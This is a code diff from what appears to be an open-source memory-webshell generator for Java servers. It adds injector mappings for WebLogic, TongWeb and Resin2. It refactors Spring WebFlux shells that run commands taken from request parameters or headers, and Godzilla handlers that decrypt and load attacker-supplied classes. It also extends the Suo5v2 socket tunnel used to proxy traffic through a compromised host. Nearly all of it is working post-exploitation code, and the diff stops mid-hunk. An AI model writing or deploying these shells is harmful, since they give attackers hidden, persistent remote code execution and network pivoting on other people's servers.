.addInjector(SERVLET, Jetty5ServletInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin2.Resin2FilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin2.Resin2ServletInjector;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.FILTER;
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.SERVLET;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Resin2 extends AbstractServer {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(FILTER, Resin2FilterInjector.class)
|
||||||
|
.addInjector(SERVLET, Resin2ServletInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -19,8 +19,11 @@ public class TongWeb extends AbstractServer {
|
|||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
|
|||||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicWebSocketInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -22,8 +23,13 @@ public class WebLogic extends AbstractServer {
|
|||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, WebLogicListenerInjector.class)
|
.addInjector(LISTENER, WebLogicListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, WebLogicListenerInjector.class)
|
||||||
.addInjector(FILTER, WebLogicFilterInjector.class)
|
.addInjector(FILTER, WebLogicFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, WebLogicFilterInjector.class)
|
||||||
.addInjector(SERVLET, WebLogicServletInjector.class)
|
.addInjector(SERVLET, WebLogicServletInjector.class)
|
||||||
|
.addInjector(JAKARTA_SERVLET, WebLogicServletInjector.class)
|
||||||
|
.addInjector(WEBSOCKET, WebLogicWebSocketInjector.class)
|
||||||
|
.addInjector(JAKARTA_WEBSOCKET, WebLogicWebSocketInjector.class)
|
||||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|||||||
+15
-10
@@ -4,6 +4,7 @@ import org.springframework.web.reactive.function.server.HandlerFunction;
|
|||||||
import org.springframework.web.reactive.function.server.ServerRequest;
|
import org.springframework.web.reactive.function.server.ServerRequest;
|
||||||
import org.springframework.web.reactive.function.server.ServerResponse;
|
import org.springframework.web.reactive.function.server.ServerResponse;
|
||||||
import reactor.core.publisher.Mono;
|
import reactor.core.publisher.Mono;
|
||||||
|
import reactor.core.scheduler.Schedulers;
|
||||||
|
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.util.Optional;
|
import java.util.Optional;
|
||||||
@@ -26,17 +27,21 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
|
|||||||
if (p == null || p.isEmpty()) {
|
if (p == null || p.isEmpty()) {
|
||||||
p = request.headers().firstHeader(paramName);
|
p = request.headers().firstHeader(paramName);
|
||||||
}
|
}
|
||||||
String result = "";
|
final String paramValue = p;
|
||||||
try {
|
Mono<String> resultMono = Mono.fromCallable(() -> {
|
||||||
if (p != null) {
|
String result = "";
|
||||||
String param = getParam(p);
|
try {
|
||||||
InputStream inputStream = getInputStream(param);
|
if (paramValue != null) {
|
||||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
String param = getParam(paramValue);
|
||||||
|
InputStream inputStream = getInputStream(param);
|
||||||
|
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
return result;
|
||||||
e.printStackTrace();
|
}).subscribeOn(Schedulers.boundedElastic());
|
||||||
}
|
return ServerResponse.ok().body(resultMono, String.class);
|
||||||
return ServerResponse.ok().body(Mono.just(result), String.class);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private String getParam(String param) {
|
private String getParam(String param) {
|
||||||
|
|||||||
+16
-10
@@ -2,6 +2,8 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
|||||||
|
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.server.ServerWebExchange;
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
|
import reactor.core.publisher.Mono;
|
||||||
|
import reactor.core.scheduler.Schedulers;
|
||||||
|
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.util.Scanner;
|
import java.util.Scanner;
|
||||||
@@ -18,17 +20,21 @@ public class CommandHandlerMethod {
|
|||||||
if (p == null || p.isEmpty()) {
|
if (p == null || p.isEmpty()) {
|
||||||
p = exchange.getRequest().getHeaders().getFirst(paramName);
|
p = exchange.getRequest().getHeaders().getFirst(paramName);
|
||||||
}
|
}
|
||||||
String result = "";
|
final String paramValue = p;
|
||||||
try {
|
Mono<String> resultMono = Mono.fromCallable(() -> {
|
||||||
if (p != null) {
|
String result = "";
|
||||||
String param = getParam(p);
|
try {
|
||||||
InputStream inputStream = getInputStream(param);
|
if (paramValue != null) {
|
||||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
String param = getParam(paramValue);
|
||||||
|
InputStream inputStream = getInputStream(param);
|
||||||
|
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
return result;
|
||||||
e.printStackTrace();
|
}).subscribeOn(Schedulers.boundedElastic());
|
||||||
}
|
return ResponseEntity.ok(resultMono);
|
||||||
return ResponseEntity.ok(result);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private String getParam(String param) {
|
private String getParam(String param) {
|
||||||
|
|||||||
+15
-9
@@ -5,6 +5,7 @@ import org.springframework.web.server.ServerWebExchange;
|
|||||||
import org.springframework.web.server.WebFilter;
|
import org.springframework.web.server.WebFilter;
|
||||||
import org.springframework.web.server.WebFilterChain;
|
import org.springframework.web.server.WebFilterChain;
|
||||||
import reactor.core.publisher.Mono;
|
import reactor.core.publisher.Mono;
|
||||||
|
import reactor.core.scheduler.Schedulers;
|
||||||
|
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.nio.charset.StandardCharsets;
|
import java.nio.charset.StandardCharsets;
|
||||||
@@ -26,15 +27,20 @@ public class CommandWebFilter implements WebFilter {
|
|||||||
if (p == null) {
|
if (p == null) {
|
||||||
return chain.filter(exchange);
|
return chain.filter(exchange);
|
||||||
}
|
}
|
||||||
String param = getParam(p);
|
final String paramValue = p;
|
||||||
String result = "";
|
return Mono.fromCallable(() -> {
|
||||||
try {
|
String param = getParam(paramValue);
|
||||||
InputStream inputStream = getInputStream(param);
|
String result = "";
|
||||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
try {
|
||||||
} catch (Throwable e) {
|
InputStream inputStream = getInputStream(param);
|
||||||
e.printStackTrace();
|
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||||
}
|
} catch (Throwable e) {
|
||||||
return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8))));
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}).subscribeOn(Schedulers.boundedElastic())
|
||||||
|
.flatMap(result -> exchange.getResponse().writeWith(
|
||||||
|
Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))));
|
||||||
}
|
}
|
||||||
|
|
||||||
private String getParam(String param) {
|
private String getParam(String param) {
|
||||||
|
|||||||
+29
-24
@@ -1,9 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||||
|
|
||||||
|
import org.springframework.util.MultiValueMap;
|
||||||
import org.springframework.web.reactive.function.server.HandlerFunction;
|
import org.springframework.web.reactive.function.server.HandlerFunction;
|
||||||
import org.springframework.web.reactive.function.server.ServerRequest;
|
import org.springframework.web.reactive.function.server.ServerRequest;
|
||||||
import org.springframework.web.reactive.function.server.ServerResponse;
|
import org.springframework.web.reactive.function.server.ServerResponse;
|
||||||
import reactor.core.publisher.Mono;
|
import reactor.core.publisher.Mono;
|
||||||
|
import reactor.core.scheduler.Schedulers;
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
import javax.crypto.Cipher;
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
@@ -35,33 +37,36 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
|
|||||||
if (value == null || !value.contains(headerValue)) {
|
if (value == null || !value.contains(headerValue)) {
|
||||||
return Mono.empty();
|
return Mono.empty();
|
||||||
}
|
}
|
||||||
Object bufferStream = request.formData().flatMap(map -> {
|
Mono<String> bufferStream = request.formData()
|
||||||
StringBuilder result = new StringBuilder();
|
.flatMap(map -> Mono.fromCallable(() -> process(map, request))
|
||||||
try {
|
.subscribeOn(Schedulers.boundedElastic()));
|
||||||
byte[] data = base64Decode(map.getFirst(pass));
|
|
||||||
data = x(data, false);
|
|
||||||
if (payload == null) {
|
|
||||||
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
|
|
||||||
} else {
|
|
||||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
|
||||||
Object f = payload.newInstance();
|
|
||||||
f.equals(arrOut);
|
|
||||||
f.equals(data);
|
|
||||||
f.equals(request);
|
|
||||||
f.toString();
|
|
||||||
result.append(md5.substring(0, 16));
|
|
||||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
|
||||||
result.append(md5.substring(16));
|
|
||||||
}
|
|
||||||
} catch (Throwable ex) {
|
|
||||||
ex.printStackTrace();
|
|
||||||
result.append(getErrorMessage(ex));
|
|
||||||
}
|
|
||||||
return Mono.just(result.toString());
|
|
||||||
});
|
|
||||||
return ServerResponse.ok().body(bufferStream, String.class);
|
return ServerResponse.ok().body(bufferStream, String.class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private String process(MultiValueMap<String, String> map, ServerRequest request) {
|
||||||
|
StringBuilder result = new StringBuilder();
|
||||||
|
try {
|
||||||
|
byte[] data = base64Decode(map.getFirst(pass));
|
||||||
|
data = x(data, false);
|
||||||
|
if (payload == null) {
|
||||||
|
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
|
||||||
|
} else {
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = payload.newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(data);
|
||||||
|
f.equals(request);
|
||||||
|
f.toString();
|
||||||
|
result.append(md5.substring(0, 16));
|
||||||
|
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||||
|
result.append(md5.substring(16));
|
||||||
|
}
|
||||||
|
} catch (Throwable ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
result.append(getErrorMessage(ex));
|
||||||
|
}
|
||||||
|
return result.toString();
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static String base64Encode(byte[] bs) throws Exception {
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
|||||||
+30
-24
@@ -1,8 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||||
|
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.util.MultiValueMap;
|
||||||
import org.springframework.web.server.ServerWebExchange;
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
import reactor.core.publisher.Mono;
|
import reactor.core.publisher.Mono;
|
||||||
|
import reactor.core.scheduler.Schedulers;
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
import javax.crypto.Cipher;
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
@@ -33,33 +35,37 @@ public class GodzillaHandlerMethod extends ClassLoader {
|
|||||||
if (value == null || !value.contains(headerValue)) {
|
if (value == null || !value.contains(headerValue)) {
|
||||||
return ResponseEntity.notFound().build();
|
return ResponseEntity.notFound().build();
|
||||||
}
|
}
|
||||||
Object bufferStream = exchange.getFormData().flatMap(map -> {
|
Mono<String> bufferStream = exchange.getFormData()
|
||||||
StringBuilder result = new StringBuilder();
|
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
|
||||||
try {
|
.subscribeOn(Schedulers.boundedElastic()));
|
||||||
byte[] data = base64Decode(map.getFirst(pass));
|
|
||||||
data = x(data, false);
|
|
||||||
if (payload == null) {
|
|
||||||
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
|
|
||||||
} else {
|
|
||||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
|
||||||
Object f = payload.getDeclaredConstructor().newInstance();
|
|
||||||
f.equals(arrOut);
|
|
||||||
f.equals(data);
|
|
||||||
f.equals(exchange.getRequest());
|
|
||||||
f.toString();
|
|
||||||
result.append(md5.substring(0, 16));
|
|
||||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
|
||||||
result.append(md5.substring(16));
|
|
||||||
}
|
|
||||||
} catch (Throwable ex) {
|
|
||||||
ex.printStackTrace();
|
|
||||||
result.append(getErrorMessage(ex));
|
|
||||||
}
|
|
||||||
return Mono.just(result.toString());
|
|
||||||
});
|
|
||||||
return ResponseEntity.ok(bufferStream);
|
return ResponseEntity.ok(bufferStream);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private String process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
|
||||||
|
StringBuilder result = new StringBuilder();
|
||||||
|
try {
|
||||||
|
byte[] data = base64Decode(map.getFirst(pass));
|
||||||
|
data = x(data, false);
|
||||||
|
if (payload == null) {
|
||||||
|
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
|
||||||
|
} else {
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = payload.getDeclaredConstructor().newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(data);
|
||||||
|
f.equals(exchange.getRequest());
|
||||||
|
f.toString();
|
||||||
|
result.append(md5.substring(0, 16));
|
||||||
|
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||||
|
result.append(md5.substring(16));
|
||||||
|
}
|
||||||
|
} catch (Throwable ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
result.append(getErrorMessage(ex));
|
||||||
|
}
|
||||||
|
return result.toString();
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static String base64Encode(byte[] bs) throws Exception {
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
try {
|
try {
|
||||||
|
|||||||
+28
-27
@@ -1,12 +1,12 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||||
|
|
||||||
import org.springframework.core.io.buffer.DataBuffer;
|
|
||||||
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
|
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
|
||||||
import org.springframework.util.MultiValueMap;
|
import org.springframework.util.MultiValueMap;
|
||||||
import org.springframework.web.server.ServerWebExchange;
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
import org.springframework.web.server.WebFilter;
|
import org.springframework.web.server.WebFilter;
|
||||||
import org.springframework.web.server.WebFilterChain;
|
import org.springframework.web.server.WebFilterChain;
|
||||||
import reactor.core.publisher.Mono;
|
import reactor.core.publisher.Mono;
|
||||||
|
import reactor.core.scheduler.Schedulers;
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
import javax.crypto.Cipher;
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
@@ -39,35 +39,36 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
|
|||||||
if (value == null || !value.contains(headerValue)) {
|
if (value == null || !value.contains(headerValue)) {
|
||||||
return chain.filter(exchange);
|
return chain.filter(exchange);
|
||||||
}
|
}
|
||||||
return exchange.getResponse().writeWith(getPost(exchange));
|
return exchange.getFormData()
|
||||||
|
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
|
||||||
|
.subscribeOn(Schedulers.boundedElastic()))
|
||||||
|
.flatMap(bytes -> exchange.getResponse().writeWith(
|
||||||
|
Mono.just(new DefaultDataBufferFactory().wrap(bytes))));
|
||||||
}
|
}
|
||||||
|
|
||||||
private Mono<DataBuffer> getPost(ServerWebExchange exchange) {
|
private byte[] process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
|
||||||
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
|
StringBuilder result = new StringBuilder();
|
||||||
return formData.flatMap(map -> {
|
try {
|
||||||
StringBuilder result = new StringBuilder();
|
byte[] data = base64Decode(map.getFirst(pass));
|
||||||
try {
|
data = x(data, false);
|
||||||
byte[] data = base64Decode(map.getFirst(pass));
|
if (payload == null) {
|
||||||
data = x(data, false);
|
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
|
||||||
if (payload == null) {
|
} else {
|
||||||
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
} else {
|
Object f = payload.getDeclaredConstructor().newInstance();
|
||||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
f.equals(arrOut);
|
||||||
Object f = payload.getDeclaredConstructor().newInstance();
|
f.equals(exchange.getRequest());
|
||||||
f.equals(arrOut);
|
f.equals(data);
|
||||||
f.equals(exchange.getRequest());
|
f.toString();
|
||||||
f.equals(data);
|
result.append(md5.substring(0, 16));
|
||||||
f.toString();
|
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||||
result.append(md5.substring(0, 16));
|
result.append(md5.substring(16));
|
||||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
|
||||||
result.append(md5.substring(16));
|
|
||||||
}
|
|
||||||
} catch (Throwable e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
result.append(getErrorMessage(e));
|
|
||||||
}
|
}
|
||||||
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
|
} catch (Throwable e) {
|
||||||
});
|
e.printStackTrace();
|
||||||
|
result.append(getErrorMessage(e));
|
||||||
|
}
|
||||||
|
return result.toString().getBytes(StandardCharsets.UTF_8);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+132
-22
@@ -8,6 +8,7 @@ import java.nio.ByteBuffer;
|
|||||||
import java.nio.channels.SocketChannel;
|
import java.nio.channels.SocketChannel;
|
||||||
import java.security.cert.CertificateException;
|
import java.security.cert.CertificateException;
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
|
import java.util.Date;
|
||||||
import java.util.Enumeration;
|
import java.util.Enumeration;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Hashtable;
|
import java.util.Hashtable;
|
||||||
@@ -30,19 +31,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789";
|
private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789";
|
||||||
private final int CHARACTERS_LENGTH = CHARACTERS.length();
|
private final int CHARACTERS_LENGTH = CHARACTERS.length();
|
||||||
private final int BUF_SIZE = 1024 * 16;
|
private final int BUF_SIZE = 1024 * 16;
|
||||||
|
private final long TUNNEL_IDLE_TIMEOUT_MILLIS = 300L * 1000L;
|
||||||
|
|
||||||
private InputStream gInStream;
|
private InputStream gInStream;
|
||||||
private OutputStream gOutStream;
|
private OutputStream gOutStream;
|
||||||
private String gtunId;
|
private String gtunId;
|
||||||
private int mode = 0;
|
private int mode = 0;
|
||||||
|
private Object gWriteLock;
|
||||||
|
|
||||||
public Suo5v2() {
|
public Suo5v2() {
|
||||||
}
|
}
|
||||||
|
|
||||||
public Suo5v2(InputStream in, OutputStream out, String tunId) {
|
public Suo5v2(InputStream in, OutputStream out, String tunId) {
|
||||||
|
this(in, out, tunId, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Suo5v2(InputStream in, OutputStream out, String tunId, Object writeLock) {
|
||||||
this.gInStream = in;
|
this.gInStream = in;
|
||||||
this.gOutStream = out;
|
this.gOutStream = out;
|
||||||
this.gtunId = tunId;
|
this.gtunId = tunId;
|
||||||
|
this.gWriteLock = writeLock;
|
||||||
}
|
}
|
||||||
|
|
||||||
public Suo5v2(String tunId, int mode) {
|
public Suo5v2(String tunId, int mode) {
|
||||||
@@ -250,7 +258,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
conn = redirect(req, new String(redirectData), newBody);
|
conn = redirect(req, new String(redirectData), newBody);
|
||||||
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
|
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
|
||||||
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||||
pipeStream(conn.getInputStream(), out, resp, false);
|
pipeStream(conn.getInputStream(), out, resp, false, null);
|
||||||
} finally {
|
} finally {
|
||||||
if (conn != null) {
|
if (conn != null) {
|
||||||
conn.disconnect();
|
conn.disconnect();
|
||||||
@@ -336,7 +344,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
socket.connect(new InetSocketAddress(host, port), 5000);
|
socket.connect(new InetSocketAddress(host, port), 5000);
|
||||||
writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0);
|
writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
|
||||||
if (socket != null) {
|
if (socket != null) {
|
||||||
socket.close();
|
socket.close();
|
||||||
}
|
}
|
||||||
@@ -350,8 +357,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
final OutputStream scOutStream = socket.getOutputStream();
|
final OutputStream scOutStream = socket.getOutputStream();
|
||||||
final InputStream scInStream = socket.getInputStream();
|
final InputStream scInStream = socket.getInputStream();
|
||||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||||
|
final Object responseWriteLock = new Object();
|
||||||
try {
|
try {
|
||||||
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
|
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId, responseWriteLock);
|
||||||
t = new Thread(p);
|
t = new Thread(p);
|
||||||
t.start();
|
t.start();
|
||||||
|
|
||||||
@@ -374,7 +382,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 0x10:
|
case 0x10:
|
||||||
writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0);
|
writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0, responseWriteLock);
|
||||||
break;
|
break;
|
||||||
default:
|
default:
|
||||||
}
|
}
|
||||||
@@ -388,7 +396,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (sendClose) {
|
if (sendClose) {
|
||||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0, responseWriteLock);
|
||||||
}
|
}
|
||||||
if (t != null) {
|
if (t != null) {
|
||||||
t.join();
|
t.join();
|
||||||
@@ -482,10 +490,24 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception {
|
private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception {
|
||||||
|
writeAndFlush(resp, data, dirtySize, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void writeAndFlush(Object resp, byte[] data, int dirtySize, Object writeLock) throws Exception {
|
||||||
if (data == null || data.length == 0) {
|
if (data == null || data.length == 0) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||||
|
if (writeLock == null) {
|
||||||
|
writeResponseData(resp, out, data, dirtySize);
|
||||||
|
} else {
|
||||||
|
synchronized (writeLock) {
|
||||||
|
writeResponseData(resp, out, data, dirtySize);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void writeResponseData(Object resp, OutputStream out, byte[] data, int dirtySize) throws Exception {
|
||||||
out.write(data);
|
out.write(data);
|
||||||
if (dirtySize != 0) {
|
if (dirtySize != 0) {
|
||||||
out.write(marshalBase64(newDirtyChunk(dirtySize)));
|
out.write(marshalBase64(newDirtyChunk(dirtySize)));
|
||||||
@@ -504,6 +526,12 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
SocketChannel socketChannel = null;
|
SocketChannel socketChannel = null;
|
||||||
HashMap resultData = null;
|
HashMap resultData = null;
|
||||||
|
Object[] existing = (Object[]) getKey(tunId);
|
||||||
|
if (existing != null) {
|
||||||
|
touchTunnel(existing);
|
||||||
|
baos.write(marshalBase64(newStatus(tunId, (byte) 0x00)));
|
||||||
|
return baos.toByteArray();
|
||||||
|
}
|
||||||
try {
|
try {
|
||||||
socketChannel = SocketChannel.open();
|
socketChannel = SocketChannel.open();
|
||||||
socketChannel.socket().setTcpNoDelay(true);
|
socketChannel.socket().setTcpNoDelay(true);
|
||||||
@@ -514,8 +542,19 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
resultData = newStatus(tunId, (byte) 0x00);
|
resultData = newStatus(tunId, (byte) 0x00);
|
||||||
BlockingQueue<byte[]> readQueue = new LinkedBlockingQueue<byte[]>(100);
|
BlockingQueue<byte[]> readQueue = new LinkedBlockingQueue<byte[]>(100);
|
||||||
BlockingQueue<byte[]> writeQueue = new LinkedBlockingQueue<byte[]>();
|
